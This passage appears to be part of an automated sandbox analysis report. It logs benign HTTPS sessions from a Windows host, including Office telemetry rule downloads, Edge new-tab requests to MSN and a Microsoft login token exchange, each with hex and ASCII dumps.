67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:42 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:42 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 043e45ca-501e-0078-1031-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222442Z-178bfbc474bh5zbqhC1NYCkdug00000006eg00000000h08g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:42 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49861	20.75.60.91	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:42 UTC	1009	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0A261308FCDB683529D90649FDDC6975&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b2d1abf1b6d54683856e512cffe6ddcc HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; _C_ETH=1
2024-11-24 22:24:42 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2728 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132594-T700343875-C128000000002116049+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116049+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 22:24:41 GMT Connection: close
2024-11-24 22:24:42 UTC	2728	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 42 6c 6f 75 62 65 72 67 73 74 72 61 6e 64 2c 20 53 41 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 42 6c 6f 75 62 65 72 67 73 74 72 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Bloubergstrand, SA\",\"cta\":\"https:\/\/www.bing.com\/search?q=Bloubergstra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49860	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-24 22:24:42 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:43 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_SN1 x-ms-request-id: 135117cb-bba8-4871-b3c7-bd6c4411406f PPServer: PPV: 30 H: SN1PEPF0002F139 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:43 GMT Connection: close Content-Length: 11389
2024-11-24 22:24:43 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:43 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222442Z-174c587ffdf4zw2thC1TEBu340000000055g000000007d1g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:43 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:42 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:43 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:43 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 6056d4b9-d01e-002b-71bf-3e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222443Z-178bfbc474bpscmfhC1NYCfc2c000000053g00000000hhuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:43 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:43 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:43 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 414c800a-401e-0035-7cbf-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222443Z-15b8b599d88wn9hhhC1TEBry0g000000056g000000001r6b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-24 22:24:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49865	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:43 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:44 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O Last-Modified: Fri, 22 Nov 2024 19:25:52 GMT X-Source-Length: 73239 X-Datacenter: eastus X-ActivityId: 0165a883-4fd6-47bf-aa6b-e859624cb2c8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 73239 Cache-Control: public, max-age=248505 Expires: Wed, 27 Nov 2024 19:26:29 GMT Date: Sun, 24 Nov 2024 22:24:44 GMT Connection: close
2024-11-24 22:24:44 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-11-24 22:24:44 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-11-24 22:24:44 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-11-24 22:24:44 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49866	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
